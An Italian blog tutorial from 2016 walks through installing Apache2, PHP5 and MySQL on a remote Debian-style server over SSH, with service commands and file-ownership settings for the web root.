Vedremo passo passo come installare i componenti e i servizi che permettono ad una macchina connessa in rete di diventare un vero e proprio erogatore di servizi online. La seguente guida può essere utile per tutti coloro che per la prima volta passano da un piano hosting (dalla pappa pronta insomma), ad una soluzione molto più personale e per certi versi affidabili. Non vedremo come trasformare il nostro computer di casa in un server (ci sarebbero troppe questioni su DNS, NameServer e IP statici da analizzare, cosa che farò in un altra guida).

Passo 1: Connessione alla macchina remota

Passaggio fondamentale è collegarsi tramite SSH (secure shell), alla macchina remota (VPS o server dedicato) che dobbiamo andare a configurare, volendo possiamo anche creare un web server locale (e questa cosa possiamo farla anche con il nostro computer di casa o dell’ufficio, con un raspberry o una qualsiasi board computer), ma in questo caso non sarà necessario effettuare nessun collegamento ssh bensì semplicemente basterà aprire un terminale.

Apriamo un qualsiasi terminale UNIX e digitiamo:

1	ssh root@ip_macchina

dove andremo a sostituire con ip_macchina l’indirizzo IP della macchina alla quale vogliamo collegarci.

Se la connessione andrà a buon fine ci verrà chiesto di memorizzare una chiave e di inserire una password (quella dell’utente root della macchina remota alla quale ci stiamo connettendo), ed una volta fatto ciò ci si aprirà all’interno del terminale la shell della macchina remota, proprio come se stessimo eseguendo un terminale su quella macchina.

Se avete un sistema Windows e volete collegarvi tramite SSH potete utilizzare il programma Putty.

Passaggio 2: Installazione di Apache

Andiamo ora ad installare il cuore del nostro web server, Apache2, che sarà la piattaforma per il nostro web server. Ci sono anche altri programmi come Apache, ad esempio ngix, ed in seguito vedremo come e quando utilizzarne uno o l’altro.

Da terminale digitiamo:

1	sudo apt-get install apache2 apache2-doc apache2-mpm-prefork apache2-utils libexpat1 ssl-cert

Ad installazione conclusa dobbiamo ora attivare Apache2 (che è un servizio), per attivarlo/disattivarlo/riavviarlo basterà digitare da terminale

sudo service apache2 start //per avviarlo
sudo service apache2 stop //per fermarlo
sudo service apache2 reload //per applicare modifiche alle impostazioni
sudo service apache2 restart //per riavviarlo

Ora navigando verso l’indirizzo IP della nostra macchina, o andando su localhost (se siamo in locale digitate semplicemente localhost nell’indirizzo del browser oppure il vostro IP locale 127.0.0.1), dovremmo vedere una schermata del genere:

Se ciò accade significa che abbiamo fatto tutto correttamente e che Apache è stato correttamente installato. A questo punto possiamo già mettere online un sito web in HTML, senza utilizzare PHP o un database, ma raramente i siti web moderni vengono realizzati senza questi due elementi.

Passaggio 3: Installazione di PHP

Installando questo applicativo andremo a rendere compatibile il nostro web server con tutto ciò che utilizza PHP per funzionare.

Da terminale digitiamo:

sudo apt-get install libapache2-mod-php5 php5 php5-common php5-curl php5-dev php5-idn php-pear php5-recode php5-snmp php5-sqlite php5-xmlrpc php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-ps php5-pspell

Php però non è solo questo, ci sono moltissimi altri pacchetti che contengono ulteriori altre funzioni di compressione o interpretazione, spesso capita che installando sul nostro web server un servizio che utilizza php, come un qualsiasi CMS, ci venga chiesto di installare un determinato componente php, in questo caso sarà molto semplice “individuare” il nome del componente tra quelli installabili sul nostro sistema, digitiamo da terminale

 apt-cache search php5

Questo comando mostra tutti i pacchetti nominati php5, da questi possiamo individuare ciò che ci serve e installarlo con il classico apt-get 😉

Passaggio 3: installazione di mysql

Da terminale digitiamo

sudo apt-get install mysql-server mysql-client

ATTENZIONE: L’installazione di mysql necessita di maggiori attenzioni rispetto a quelle fatte fino ad ora, ci sarà infatti chiesta una password dell’utente “root”, questa password e questo utente non hanno nulla a che vedere con il vostro sistema o con l’utente root con il quale siete autenticati, corrisponde bensì all’utente con diritti massimi su tutti i database che andrete a creare, è buona norma inserire una password complessa e ben diversa dal quella del superuser di sistema. E’ inoltre buona norma non utilizzare mai l’utente root per la gestione tramite codice di un database, è consigliabile creare un utente singolo con password propria e privilegi su un singolo database per ogni progetto che utilizza mysql che andremo a realizzare od implementare, ma a questa cosa sarà dedicata una guida intera 😀

Così come per apache, anche mysql è un servizio, da terminale digitiamo quindi

sudo service mysql start //per avviarlo
sudo service mysql stop //per bloccarlo

Una volta fatto ciò il nostro sistema LAMP è pronto!

In una prossima guida vedremo come andare a configurare in modo personale PHP, Come creare Host virtuali (più siti su un solo server) e come andare ad aumentare la sicurezza della nostra installazione di mysql. Per ora andiamo a capire come modificare il “nostro” sito web attuale, ossia la pagina di default di apache che abbiamo visto in precedenza.

Basterà semplicemente andare a modificare o sostituire o cancellare il file index (index.html) nella cartella di dafault di Apache2 situata in /var/www/html

Una volta giunti in questa cartella ci comporteremo come se fossimo su un normalissimo hosting!

Attenzione: Bisogna prestare particolare attenzione ai permessi che vengono utilizzati sui file presenti all’interno della cartella pubblica HTML (quella di cui parlavamo sopra), possono infatti verificarsi errori 503 o peggio, possiamo dare accesso non volendo alla modifica di file ed esecuzione di script a personaggi che non dovrebbero. Per stare tranquilli possiamo utilizzare un gruppo utente con i permessi “perfetti” o quasi per il web, il gruppo in questione è www-data, con il relativo utente www-data (valido per debian e derivate).

Digitiamo da terminale

sudo chown -R www-data:www-data /var/www/html

In questo modo applicheremo questi “permessi” (o meglio ownershp) all’intera cartella pubblica html, è importante ricordare che ogni qualvolta creeremo una cartella all’interno di quella pubblica “html”, con un utente diverso da www-data, dovremmo riapplicare nuovamente l’ownership onde evitare problemi o errori.

Published by Nicholas Giordano on Settembre 20, 2016 | Permalink